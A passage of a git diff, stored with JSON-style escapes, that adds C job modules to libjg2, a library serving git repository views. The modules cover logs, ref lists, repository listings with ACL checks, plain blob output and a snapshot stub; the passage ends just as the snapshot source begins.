{\n+\t\t\tctx-\u003ejob_state \u003d EMIT_STATE_TREE;\n+\t\t\tjg2_ctx_set_job(ctx, JG2_JOB_TREE,\n+\t\t\t\t\tvid, 0, JG2_JOB_FLAG_FINAL);\n+#endif\n+\t\t} else if (mode \u0026\u0026 !strcmp(mode, \u0022summary\u0022)) {\n+\t\t\tctx-\u003ejob_state \u003d EMIT_STATE_SUMMARY;\n+\t\t\tjg2_ctx_set_job(ctx, JG2_JOB_REFLIST,\n+\t\t\t\t\tvid, 0, 0);\n+#if defined(JG2_HAVE_ARCHIVE_H)\n+\t\t} else if (mode \u0026\u0026 !strcmp(mode, \u0022snapshot\u0022)) {\n+\t\t\tctx-\u003ejob_state \u003d EMIT_STATE_SNAPSHOT;\n+\t\t\tjg2_ctx_set_job(ctx, JG2_JOB_SNAPSHOT,\n+\t\t\t\t\tvid, 0, 0);\n+#endif\n+\t\t} else if (!mode \u0026\u0026 (!reponame || !reponame[0])) {\n+\t\t\tctx-\u003ejob_state \u003d EMIT_STATE_REPOLIST;\n+\t\t\tjg2_ctx_set_job(ctx, JG2_JOB_REPOLIST,\n+\t\t\t\t\tvid, 0, JG2_JOB_FLAG_FINAL);\n+\t\t} else {\n+\t\t\tctx-\u003ejob_state \u003d EMIT_STATE_TREE;\n+\t\t\tjg2_ctx_set_job(ctx, JG2_JOB_TREE,\n+\t\t\t\t\tvid, 0, JG2_JOB_FLAG_FINAL);\n+\t\t}\n+\n+\t\t/* fallthru */\n+\n+\tcase HTML_STATE_JSON:\n+\t\tif (!jg2_ctx_get_job(ctx))\n+\t\t\tbreak;\n+\n+\t\t/*\n+\t\t * We do it in the ctx so the job function itself can also\n+\t\t * compute the elapsed time accurately.\n+\t\t */\n+\t\tjob_in \u003d ctx-\u003ejob;\n+\t\tgettimeofday(\u0026ctx-\u003etv_last, NULL);\n+\t\tmore \u003d jg2_ctx_get_job(ctx)(ctx);\n+\t\tgettimeofday(\u0026t2, NULL);\n+\t\tif (more \u003c 0) {\n+\t\t\tchar pure[256];\n+\n+\t\t\tlwsl_err(\u0022get_job failed %d (%d) %s\u005cn\u0022, more,\n+\t\t\t\t ctx-\u003ejob_state, ctx-\u003estatus);\n+\n+\t\t\tmeta_header(ctx);\n+\t\t\tjob_common_header(ctx);\n+\n+\t\t\tellipsis_purify(pure, ctx-\u003estatus, sizeof(pure));\n+\n+\t\t\tCTX_BUF_APPEND(\u0022 \u005c\u0022error\u005c\u0022: \u005c\u0022%s\u005c\u0022}]}\u0022, pure);\n+\n+\t\t\t/* hm... let's say we completed */\n+\t\t\tctx-\u003efinal \u003d 1;\n+\t\t\tctx-\u003emeta_last_job \u003d 1;\n+\t\t\tctx-\u003epartway \u003d 0;\n+\t\t}\n+\n+\t\tctx-\u003eus_gen +\u003d timeval_us(\u0026t2) - timeval_us(\u0026ctx-\u003etv_last);\n+\n+\t\tcache_write(ctx, job_in);\n+\n+\t\tctx-\u003epartway \u003d !ctx-\u003efinal;\n+\t\tif (!ctx-\u003emeta_last_job)\n+\t\t\tctx-\u003efinal \u003d 0;\n+\n+\t\tif (ctx-\u003epartway)\n+\t\t\tbreak;\n+\n+\t\tswitch (ctx-\u003ejob_state) {\n+\t\tcase EMIT_STATE_SUMMARY:\n+\t\t\tctx-\u003ejob_state \u003d EMIT_STATE_SUMMARY_LOG;\n+\t\t\tjg2_ctx_set_job(ctx, JG2_JOB_LOG,\n+\t\t\t\t\t\u0022refs/heads/master\u0022, 10,\n+\t\t\t\t\tJG2_JOB_FLAG_CHAINED |\n+\t\t\t\t\tJG2_JOB_FLAG_FINAL);\n+\t\t\tbreak;\n+\t\tcase EMIT_STATE_TREE:\n+\t\t\t/*\n+\t\t\t * after processing the ls for a tree, we might have\n+\t\t\t * found a doc file we want to show inline additionally\n+\t\t\t */\n+\t\t\tif (ctx-\u003einline_filename[0] \u0026\u0026\n+\t\t\t ctx-\u003esr.e[JG2_PE_PATH] !\u003d ctx-\u003einline_filename) {\n+\t\t\t\t/* we found a document we want to show inline */\n+\n+\t\t\t\tctx-\u003esr.e[JG2_PE_PATH] \u003d\n+\t\t\t\t\t\tctx-\u003einline_filename;\n+\t\t\t\t// lwsl_notice(\u0022%s: inline %s\u005cn\u0022, __func__,\n+\t\t\t\t//\t\tctx-\u003esr.e[JG2_PE_PATH]);\n+\n+\t\t\t\tctx-\u003ejob_state \u003d EMIT_STATE_TREE;\n+\t\t\t\tjg2_ctx_set_job(ctx, JG2_JOB_TREE,\n+\t\t\t\t\t\tvid, 0, JG2_JOB_FLAG_CHAINED |\n+\t\t\t\t\t\tJG2_JOB_FLAG_FINAL);\n+\n+\t\t\t\tbreak;\n+\t\t\t}\n+\n+\t\t\tif (ctx-\u003eblame_after_tree \u0026\u0026\n+\t\t\t ctx-\u003esr.e[JG2_PE_PATH] !\u003d ctx-\u003einline_filename) {\n+\t\t\t\tctx-\u003ejob_state \u003d EMIT_STATE_BLAME;\n+\t\t\t\tjg2_ctx_set_job(ctx, JG2_JOB_BLAME,\n+\t\t\t\t\t\tvid, 0, JG2_JOB_FLAG_CHAINED |\n+\t\t\t\t\t\tJG2_JOB_FLAG_FINAL);\n+\n+\t\t\t\tbreak;\n+\t\t\t}\n+\n+\t\t\t/* fallthru */\n+\t\tdefault:\n+\n+\t\t\t/*\n+\t\t\t * This is the end for a single JSON job, chained or\n+\t\t\t * just on its own. Finish up the cache file if we\n+\t\t\t * were making one.\n+\t\t\t */\n+\n+\t\t\tif (ctx-\u003efd_cache !\u003d -1)\n+\t\t\t\tcache_write_complete(ctx);\n+\n+\t\t\tif (ctx-\u003eflags \u0026 JG2_CTX_FLAG_HTML)\n+\t\t\t\tctx-\u003ehtml_state \u003d HTML_STATE_HTML_TRAILER;\n+\t\t\telse\n+\t\t\t\tctx-\u003ehtml_state \u003d HTML_STATE_COMPLETED;\n+\t\t\tbreak;\n+\t\t}\n+\t\tbreak;\n+\n+\tcase HTML_STATE_HTML_TRAILER:\n+\t\tleft \u003d lws_ptr_diff(ctx-\u003eend, ctx-\u003ep);\n+\t\tm \u003d ctx-\u003evhost-\u003ehtml_len - ctx-\u003ehtml_pos \u003e left ?\n+\t\t left : ctx-\u003evhost-\u003ehtml_len - ctx-\u003ehtml_pos;\n+\t\tmemcpy(ctx-\u003ep, ctx-\u003evhost-\u003ehtml_content + ctx-\u003ehtml_pos, m);\n+\t\tctx-\u003ehtml_pos +\u003d m;\n+\t\tctx-\u003ep +\u003d m;\n+\n+\t\tif (ctx-\u003ehtml_pos \u003d\u003d ctx-\u003evhost-\u003ehtml_len)\n+\t\t\tctx-\u003ehtml_state \u003d HTML_STATE_COMPLETED;\n+\t\tbreak;\n+\n+\tdefault:\n+\t\treturn 1;\n+\t}\n+\n+\t*used \u003d lws_ptr_diff(ctx-\u003ep, ctx-\u003ebuf);\n+\n+\treturn ctx-\u003ehtml_state \u003d\u003d HTML_STATE_COMPLETED;\n+}\ndiff --git a/lib/job/log.c b/lib/job/log.c\nnew file mode 100644\nindex 0000000..64221ee\n--- /dev/null\n+++ b/lib/job/log.c\n@@ -0,0 +1,139 @@\n+/*\n+ * libjg2 - log\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation:\n+ * version 2.1 of the License.\n+ *\n+ * This library is distributed in the hope that it will be useful,\n+ * but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details.\n+ *\n+ * You should have received a copy of the GNU Lesser General Public\n+ * License along with this library; if not, write to the Free Software\n+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n+ * MA 02110-1301 USA\n+ */\n+\n+#include \u0022../private.h\u0022\n+\n+#include \u003cstdio.h\u003e\n+\n+static int\n+job_log_start(struct jg2_ctx *ctx)\n+{\n+\tgit_generic_ptr u;\n+\tgit_oid oid;\n+\tint error;\n+\n+\tif (!ctx-\u003ehex_oid[0])\n+\t\treturn 1;\n+\n+\tif (ctx-\u003ehex_oid[0] \u003d\u003d 'r') {\n+\t\terror \u003d git_reference_name_to_id(\u0026oid, ctx-\u003ejrepo-\u003erepo,\n+\t\t\t\t\t\t ctx-\u003ehex_oid);\n+\t\tif (error \u003c 0) {\n+\t\t\tlwsl_err(\u0022%s: unable to lookup ref '%s': %d\u005cn\u0022,\n+\t\t\t\t __func__, ctx-\u003ehex_oid, error);\n+\t\t\treturn -1;\n+\t\t}\n+\t} else\n+\t\tif (git_oid_fromstr(\u0026oid, ctx-\u003ehex_oid))\n+\t\t\treturn -1;\n+\n+\terror \u003d git_object_lookup(\u0026u.obj, ctx-\u003ejrepo-\u003erepo, \u0026oid, GIT_OBJ_ANY);\n+\tif (error \u003c 0)\n+\t\treturn -1;\n+\n+\tif (git_object_type(u.obj) !\u003d GIT_OBJ_COMMIT) {\n+\t\tgit_object_free(u.obj);\n+\n+\t\treturn -1;\n+\t}\n+\n+\tctx-\u003eu \u003d u;\n+\tmeta_header(ctx);\n+\n+\tjob_common_header(ctx);\n+\n+\tCTX_BUF_APPEND(\u0022\u005c\u0022log\u005c\u0022: [\u0022);\n+\tctx-\u003esubsequent \u003d 0;\n+\n+\treturn 0;\n+}\n+\n+static void\n+job_log_destroy(struct jg2_ctx *ctx)\n+{\n+\tif (ctx-\u003eu.commit) {\n+\t\tgit_commit_free(ctx-\u003eu.commit);\n+\t\tctx-\u003eu.commit \u003d NULL;\n+\t}\n+\tctx-\u003ejob \u003d NULL;\n+}\n+\n+int\n+job_log(struct jg2_ctx *ctx)\n+{\n+\tif (ctx-\u003edestroying) {\n+\t\tjob_log_destroy(ctx);\n+\n+\t\treturn 0;\n+\t}\n+\n+\tif (!ctx-\u003epartway \u0026\u0026 job_log_start(ctx)) {\n+\t\tlwsl_err(\u0022%s: start failed (%s)\u005cn\u0022, __func__, ctx-\u003ehex_oid);\n+\t\treturn -1;\n+\t}\n+\n+\twhile (JG2_HAS_SPACE(ctx, 768)) {\n+\t\tgit_commit *c;\n+\n+\t\tif (!ctx-\u003eu.obj || !ctx-\u003ecount) {\n+\t\t\tCTX_BUF_APPEND(\u0022\u005cn]\u0022);\n+\n+\t\t\tif (ctx-\u003eu.obj) {\n+\t\t\t\tgit_commit_parent(\u0026c, ctx-\u003eu.commit, 0);\n+\t\t\t\tif (c) {\n+\t\t\t\t\tCTX_BUF_APPEND(\u0022, \u005c\u0022next\u005c\u0022: \u0022);\n+\n+\t\t\t\t\tjg2_json_oid(git_commit_id(c), ctx);\n+\n+\t\t\t\t\tgit_commit_free(c);\n+\t\t\t\t}\n+\t\t\t}\n+\n+\t\t\tmeta_trailer(ctx, \u0022\u0022);\n+\t\t\tjob_log_destroy(ctx);\n+\t\t\treturn 0;\n+\t\t}\n+\n+\t\tCTX_BUF_APPEND(\u0022%c\u005cn{ \u005c\u0022name\u005c\u0022: \u0022,\n+\t\t\t ctx-\u003esubsequent ? ',' : ' ');\n+\n+\t\tctx-\u003esubsequent \u003d 1;\n+\n+\t\tjg2_json_oid(git_commit_id(ctx-\u003eu.commit), ctx);\n+\n+\t\tCTX_BUF_APPEND(\u0022,\u005cn\u0022\n+\t\t\t\t\u0022\u005c\u0022summary\u005c\u0022: {\u005cn\u0022);\n+\n+\t\tcommit_summary(ctx-\u003eu.commit, ctx);\n+\n+\t\tCTX_BUF_APPEND(\u0022}}\u0022);\n+\n+\t\tc \u003d NULL;\n+\t\tgit_commit_parent(\u0026c, ctx-\u003eu.commit, 0);\n+\t\tgit_commit_free(ctx-\u003eu.commit);\n+\t\tctx-\u003eu.commit \u003d c;\n+\n+\t\tif (ctx-\u003ecount)\n+\t\t\tctx-\u003ecount--;\n+\t}\n+\n+\treturn 0;\n+}\ndiff --git a/lib/job/no-snapshot.c b/lib/job/no-snapshot.c\nnew file mode 100644\nindex 0000000..674f782\n--- /dev/null\n+++ b/lib/job/no-snapshot.c\n@@ -0,0 +1,28 @@\n+/*\n+ * libjg2 - snapshot\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation:\n+ * version 2.1 of the License.\n+ *\n+ * This library is distributed in the hope that it will be useful,\n+ * but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details.\n+ *\n+ * You should have received a copy of the GNU Lesser General Public\n+ * License along with this library; if not, write to the Free Software\n+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n+ * MA 02110-1301 USA\n+ */\n+\n+#include \u0022../private.h\u0022\n+\n+int\n+job_snapshot(struct jg2_ctx *ctx)\n+{\n+\treturn -1;\n+}\ndiff --git a/lib/job/plain.c b/lib/job/plain.c\nnew file mode 100644\nindex 0000000..252ed5c\n--- /dev/null\n+++ b/lib/job/plain.c\n@@ -0,0 +1,81 @@\n+/*\n+ * libjg2 - plain\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation:\n+ * version 2.1 of the License.\n+ *\n+ * This library is distributed in the hope that it will be useful,\n+ * but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details.\n+ *\n+ * You should have received a copy of the GNU Lesser General Public\n+ * License along with this library; if not, write to the Free Software\n+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n+ * MA 02110-1301 USA\n+ */\n+\n+#include \u0022../private.h\u0022\n+\n+#include \u003cstdio.h\u003e\n+#include \u003cstring.h\u003e\n+\n+static int\n+job_plain_start(struct jg2_ctx *ctx)\n+{\n+\tctx-\u003emeta_last_job \u003d 1;\n+\treturn blob_from_commit(ctx);\n+}\n+\n+static void\n+job_plain_destroy(struct jg2_ctx *ctx)\n+{\n+\tif (ctx-\u003eu.blob) {\n+\t\tgit_blob_free(ctx-\u003eu.blob);\n+\t\tctx-\u003eu.blob \u003d NULL;\n+\t}\n+\tctx-\u003ejob \u003d NULL;\n+}\n+\n+\n+int\n+job_plain(struct jg2_ctx *ctx)\n+{\n+\tsize_t m;\n+\n+\tif (ctx-\u003edestroying) {\n+\t\tjob_plain_destroy(ctx);\n+\n+\t\treturn 0;\n+\t}\n+\n+\tif (!ctx-\u003epartway \u0026\u0026 job_plain_start(ctx)) {\n+\t\tlwsl_err(\u0022%s: start failed (%s)\u005cn\u0022, __func__, ctx-\u003ehex_oid);\n+\n+\t\treturn -1;\n+\t}\n+\n+\tif (ctx-\u003ebody \u0026\u0026 JG2_HAS_SPACE(ctx, 1)) {\n+\t\t/* we're sending a blob */\n+\n+\t\tm \u003d lws_ptr_diff(ctx-\u003eend, ctx-\u003ep) - 1;\n+\n+\t\tif (m \u003e ctx-\u003esize - ctx-\u003epos)\n+\t\t\tm \u003d ctx-\u003esize - ctx-\u003epos;\n+\n+\t\tmemcpy(ctx-\u003ep, (char *)ctx-\u003ebody + ctx-\u003epos, m);\n+\t\tctx-\u003epos +\u003d m;\n+\t\tctx-\u003ep +\u003d m;\n+\n+\t\tif (ctx-\u003epos \u003d\u003d ctx-\u003esize) {\n+\t\t\tctx-\u003efinal \u003d 1;\n+\t\t\tjob_plain_destroy(ctx);\n+\t\t}\n+\t}\n+\n+\treturn 0;\n+}\ndiff --git a/lib/job/private.h b/lib/job/private.h\nnew file mode 100644\nindex 0000000..410dbe2\n--- /dev/null\n+++ b/lib/job/private.h\n@@ -0,0 +1,151 @@\n+typedef enum {\n+\tJG2_JOB_REFLIST,\n+\tJG2_JOB_LOG,\n+\tJG2_JOB_COMMIT,\n+\tJG2_JOB_PATCH,\n+\tJG2_JOB_TREE,\n+\tJG2_JOB_PLAIN,\n+\tJG2_JOB_REPOLIST,\n+\tJG2_JOB_SNAPSHOT,\n+\tJG2_JOB_BLAME,\n+\tJG2_JOB_BLOG,\n+} jg2_job_enum;\n+\n+typedef enum {\n+\tEMIT_STATE_SUMMARY,\n+\tEMIT_STATE_SUMMARY_LOG,\n+\n+\tEMIT_STATE_LOG,\n+\n+\tEMIT_STATE_COMMITBODY,\n+\n+\tEMIT_STATE_PATCH,\n+\n+\tEMIT_STATE_TAGS,\n+\n+\tEMIT_STATE_BRANCHES,\n+\n+\tEMIT_STATE_TREE,\n+\n+\tEMIT_STATE_PLAIN,\n+\n+\tEMIT_STATE_REPOLIST,\n+\n+\tEMIT_STATE_SNAPSHOT,\n+\n+\tEMIT_STATE_BLAME,\n+\n+\tEMIT_STATE_BLOG,\n+\n+} jg2_job_state;\n+\n+enum rei_string_index {\n+\tREI_STRING_NAME,\n+\tREI_STRING_ACL,\n+\tREI_STRING_CONFIG_DESC,\n+\tREI_STRING_CONFIG_OWNER,\n+\tREI_STRING_CONFIG_URL\n+};\n+\n+/*\n+ * Indicates this job is a consequence of the immediately previous job. If\n+ * storing the results into the cache, it means this job should be appended to\n+ * previously used cache file and not treated as somthing on its own.\n+ */\n+\n+#define JG2_JOB_FLAG_FINAL 1\n+#define JG2_JOB_FLAG_CHAINED 128\n+\n+/**\n+ * jg2_job() - produce output from the job\n+ *\n+ * \u005cparam ctx: pointer to the context\n+ *\n+ * Writes a buffer with JSON from the execution of a \u0022job\u0022.\n+ *\n+ * buf and len (length of buf) set where the JSON will be written.\n+ *\n+ * If the output is incomplete, 1 will be returned. If the written chunk\n+ * of JSON is the last in the \u0022job\u0022, 0 will be returned.\n+ *\n+ * Job functions set the context job to NULL when they complete the last chunk.\n+ */\n+typedef int (*jg2_job)(struct jg2_ctx *ctx);\n+\n+\n+/**\n+ * jg2_jobs() - Get pointer to jobs table\n+ *\n+ * \u005cparam n: One of JG2_job_enum (JG2_JOB_...)\n+ *\n+ * Returns a function pointer to the requested \u0022job\u0022 the library can statefully\n+ * perform in a context.\n+ */\n+jg2_job\n+jg2_get_job(jg2_job_enum n);\n+\n+/**\n+ * jg2_ctx_get_job() - get the current \u0022job\u0022 the context is doing\n+ *\n+ * \u005cparam ctx: pointer to the context\n+ *\n+ * Returns NULL if no active job, or the pointer to the job function\n+ */\n+jg2_job\n+jg2_ctx_get_job(struct jg2_ctx *ctx);\n+\n+\n+/*\n+ * Is the mode going to produce JSON? Return 0. Otherwise return the\n+ * JG2_JOB index for the type of naked content it wants to produce.\n+ */\n+int\n+jg2_job_naked(struct jg2_ctx *ctx);\n+\n+void\n+meta_header(struct jg2_ctx *ctx);\n+\n+void\n+job_common_header(struct jg2_ctx *ctx);\n+\n+void\n+meta_trailer(struct jg2_ctx *ctx, const char *term);\n+\n+void\n+__jg2_job_compute_cache_hash(struct jg2_ctx *ctx, jg2_job_enum job, int count,\n+\t\t\t char *md5_hex33);\n+\n+const struct repo_entry_info *\n+jg2_lookup_repo_config(struct jg2_vhost *vh, const char *repo_name);\n+\n+const char *\n+jg2_rei_string(const struct repo_entry_info *rei, enum rei_string_index n);\n+\n+/* jobs */\n+\n+int\n+job_reflist(struct jg2_ctx *ctx);\n+\n+int\n+job_log(struct jg2_ctx *ctx);\n+\n+int\n+job_commit(struct jg2_ctx *ctx);\n+\n+int\n+job_tree(struct jg2_ctx *ctx);\n+\n+int\n+job_plain(struct jg2_ctx *ctx);\n+\n+int\n+job_repos(struct jg2_ctx *ctx);\n+\n+int\n+job_snapshot(struct jg2_ctx *ctx);\n+\n+int\n+job_blame(struct jg2_ctx *ctx);\n+\n+int\n+job_blog(struct jg2_ctx *ctx);\ndiff --git a/lib/job/reflist.c b/lib/job/reflist.c\nnew file mode 100644\nindex 0000000..62c7642\n--- /dev/null\n+++ b/lib/job/reflist.c\n@@ -0,0 +1,95 @@\n+/*\n+ * libjg2 - ref list\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation:\n+ * version 2.1 of the License.\n+ *\n+ * This library is distributed in the hope that it will be useful,\n+ * but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details.\n+ *\n+ * You should have received a copy of the GNU Lesser General Public\n+ * License along with this library; if not, write to the Free Software\n+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n+ * MA 02110-1301 USA\n+ */\n+\n+#include \u0022../private.h\u0022\n+\n+static int\n+job_reflist_start(struct jg2_ctx *ctx)\n+{\n+\tif (git_reference_iterator_new(\u0026ctx-\u003eiter_ref, ctx-\u003ejrepo-\u003erepo) \u003c 0)\n+\t\treturn -1;\n+\n+\tmeta_header(ctx);\n+\n+\tjob_common_header(ctx);\n+\tCTX_BUF_APPEND(\u0022\u005c\u0022reflist\u005c\u0022: [\u0022);\n+\n+\treturn 0;\n+}\n+\n+static void\n+job_reflist_destroy(struct jg2_ctx *ctx)\n+{\n+\tif (ctx-\u003eiter_ref) {\n+\t\tgit_reference_iterator_free(ctx-\u003eiter_ref);\n+\t\tctx-\u003eiter_ref \u003d NULL;\n+\t}\n+\tctx-\u003ejob \u003d NULL;\n+}\n+\n+int\n+job_reflist(struct jg2_ctx *ctx)\n+{\n+\tif (ctx-\u003edestroying) {\n+\t\tjob_reflist_destroy(ctx);\n+\n+\t\treturn 0;\n+\t}\n+\n+\tif (!ctx-\u003epartway \u0026\u0026 job_reflist_start(ctx))\n+\t\treturn -1;\n+\n+\twhile (JG2_HAS_SPACE(ctx, 768)) {\n+\t\tchar pure[128];\n+\t\tgit_reference *gref, *rref;\n+\t\tconst git_oid *oid;\n+\n+\t\t/*\n+\t\t * This will list 'commit' and 'tag' objects...\n+\t\t * 'commit' objects named refs/heads/xxx represent branch xxx\n+\t\t */\n+\n+\t\tif (git_reference_next(\u0026gref, ctx-\u003eiter_ref) \u003c 0) {\n+\t\t\tmeta_trailer(ctx, \u0022\u005cn]\u0022);\n+\t\t\tjob_reflist_destroy(ctx);\n+\t\t\tbreak;\n+\t\t}\n+\n+\t\tgit_reference_resolve(\u0026rref, gref);\n+\t\toid \u003d git_reference_target(rref);\n+\t\tif (oid) {\n+\t\t\tjg2_json_purify(pure, git_reference_name(gref),\n+\t\t\t\t\tsizeof(pure), NULL);\n+\t\t\tCTX_BUF_APPEND(\u0022%c\u005cn{ \u005c\u0022name\u005c\u0022: \u005c\u0022%s\u005c\u0022,\u0022\n+\t\t\t\t \u0022\u005c\u0022summary\u005c\u0022: \u0022,\n+\t\t\t\t ctx-\u003esubsequent ? ',' : ' ', pure);\n+\t\t\tctx-\u003esubsequent \u003d 1;\n+\t\t\tgeneric_object_summary(oid, ctx);\n+\n+\t\t\tCTX_BUF_APPEND(\u0022}\u0022);\n+\t\t}\n+\n+\t\tgit_reference_free(rref);\n+\t\tgit_reference_free(gref);\n+\t}\n+\n+\treturn 0;\n+}\ndiff --git a/lib/job/repos.c b/lib/job/repos.c\nnew file mode 100644\nindex 0000000..279913b\n--- /dev/null\n+++ b/lib/job/repos.c\n@@ -0,0 +1,131 @@\n+/*\n+ * libjsongit2 - commit\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation:\n+ * version 2.1 of the License.\n+ *\n+ * This library is distributed in the hope that it will be useful,\n+ * but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details.\n+ *\n+ * You should have received a copy of the GNU Lesser General Public\n+ * License along with this library; if not, write to the Free Software\n+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n+ * MA 02110-1301 USA\n+ */\n+\n+#include \u0022../private.h\u0022\n+\n+#include \u003cstdio.h\u003e\n+#include \u003cstring.h\u003e\n+\n+#define lp_to_rei(p, _n) list_ptr_container(p, struct repo_entry_info, _n)\n+\n+static int\n+job_repos_start(struct jg2_ctx *ctx)\n+{\n+\tctx-\u003erei \u003d lp_to_rei(ctx-\u003evhost-\u003erei_head, next);\n+\n+\tmeta_header(ctx);\n+\n+\tjob_common_header(ctx);\n+\tCTX_BUF_APPEND(\u0022\u005c\u0022repolist\u005c\u0022:[\u0022);\n+\n+\tctx-\u003esubsequent \u003d 0;\n+\n+\treturn 0;\n+}\n+\n+static void\n+job_repos_destroy(struct jg2_ctx *ctx)\n+{\n+\tctx-\u003ejob \u003d NULL;\n+}\n+\n+int\n+job_repos(struct jg2_ctx *ctx)\n+{\n+\tchar name[256];\n+\tchar *p;\n+\n+\tif (ctx-\u003edestroying) {\n+\t\tjob_repos_destroy(ctx);\n+\n+\t\treturn 0;\n+\t}\n+\n+\tif (!ctx-\u003epartway \u0026\u0026 job_repos_start(ctx)) {\n+\t\tlwsl_err(\u0022%s: start failed (%s)\u005cn\u0022, __func__, ctx-\u003ehex_oid);\n+\t\treturn -1;\n+\t}\n+\n+\tif (!ctx-\u003erei)\n+\t\tgoto empty;\n+\n+\twhile (ctx-\u003erei) {\n+\t\tint size \u003d ctx-\u003erei-\u003ename_len + ctx-\u003erei-\u003eacl_len +\n+\t\t\t ctx-\u003erei-\u003econf_len[0] + ctx-\u003erei-\u003econf_len[1] +\n+\t\t\t ctx-\u003erei-\u003econf_len[2];\n+\n+\t\tif (!JG2_HAS_SPACE(ctx, 100 + size))\n+\t\t\tbreak;\n+\n+\t\tp \u003d (char *)(ctx-\u003erei + 1);\n+\n+\n+\t\tpthread_mutex_lock(\u0026ctx-\u003evhost-\u003elock); /* \u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d vhost lock */\n+\n+\t\tif (__repo_check_acl(ctx-\u003evhost, p, ctx-\u003evhost-\u003ecfg.acl_user) \u0026\u0026\n+\t\t __repo_check_acl(ctx-\u003evhost, p, ctx-\u003eacl_user)) {\n+\t\t\tpthread_mutex_unlock(\u0026ctx-\u003evhost-\u003elock); /*vhost lock */\n+\t\t\tgoto next;\n+\t\t}\n+\n+\t\tpthread_mutex_unlock(\u0026ctx-\u003evhost-\u003elock); /* ------ vhost lock */\n+\n+\t\tCTX_BUF_APPEND(\u0022%c\u005cn{ \u005c\u0022reponame\u005c\u0022: \u005c\u0022%s\u005c\u0022\u0022,\n+\t\t\t ctx-\u003esubsequent ? ',' : ' ',\n+\t\t\t ellipsis_purify(name, (char *)p, sizeof(name)));\n+\t\tctx-\u003esubsequent \u003d 1;\n+\t\tp +\u003d ctx-\u003erei-\u003ename_len + ctx-\u003erei-\u003eacl_len;\n+\n+\t\tif (ctx-\u003erei-\u003econf_len[0]) {\n+\t\t\tCTX_BUF_APPEND(\u0022,\u005c\u0022desc\u005c\u0022: \u005c\u0022%s\u005c\u0022\u0022,\n+\t\t\t\tellipsis_purify(name, (char *)p, sizeof(name)));\n+\n+\t\t\tp +\u003d ctx-\u003erei-\u003econf_len[0];\n+\t\t}\n+\t\tif (ctx-\u003erei-\u003econf_len[1]) {\n+\t\t\tif (ctx-\u003erei-\u003econf_len[0])\n+\t\t\t\tCTX_BUF_APPEND(\u0022, \u0022);\n+\n+\t\t\tidentity_json(p, ctx);\n+\t\t\tp +\u003d ctx-\u003erei-\u003econf_len[1];\n+\t\t}\n+\n+\t\tif (ctx-\u003erei-\u003econf_len[2]) {\n+\t\t\tif (ctx-\u003erei-\u003econf_len[0] || ctx-\u003erei-\u003econf_len[1])\n+\t\t\t\tCTX_BUF_APPEND(\u0022, \u0022);\n+\n+\t\t\tCTX_BUF_APPEND(\u0022 \u005c\u0022url\u005c\u0022: \u005c\u0022%s\u005c\u0022\u0022,\n+\t\t\t\tellipsis_purify(name, (char *)p, sizeof(name)));\n+\t\t}\n+\n+\t\tCTX_BUF_APPEND(\u0022}\u0022);\n+\n+next:\n+\t\tctx-\u003erei \u003d lp_to_rei(ctx-\u003erei-\u003enext, next);\n+\t\tif (ctx-\u003erei)\n+\t\t\tcontinue;\n+empty:\n+\t\tmeta_trailer(ctx, \u0022]\u0022);\n+\t\tjob_repos_destroy(ctx);\n+\t}\n+\n+\treturn 0;\n+}\ndiff --git a/lib/job/snapshot.c b/lib/job/snapshot.c\nnew file mode 100644\nindex 0000000..d418e76\n--- /dev/null\n+++ b/lib/job/snapshot.c\n@@ -0,0 +1,564 @@\n+/*\n+ * libjg2 - snapshot\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation:\n+ * version 2.1 of the License.\n+ *\n+ * This library is distributed in the hope that it will be useful,\n+ * but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details.\n+ *\n+ * You should have received a copy of the GNU Lesser General Public\n+ * License along with this library; if not, write to the Free Software\n+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n+ * MA 02110-1301 USA\n+ *\n+ *\n+ * This statefully generates compressed archives on the fly according to the\n+ * requested URL in /snapshot/ mode. The tree being archived is held open the\n+ * whole time and a maximum of one blob is held open at a time inbetween calls.\n+ * Everything related to the activity is held in the jg2_context and there's no\n+ * interaction between multiple ongoing snapshots each in its 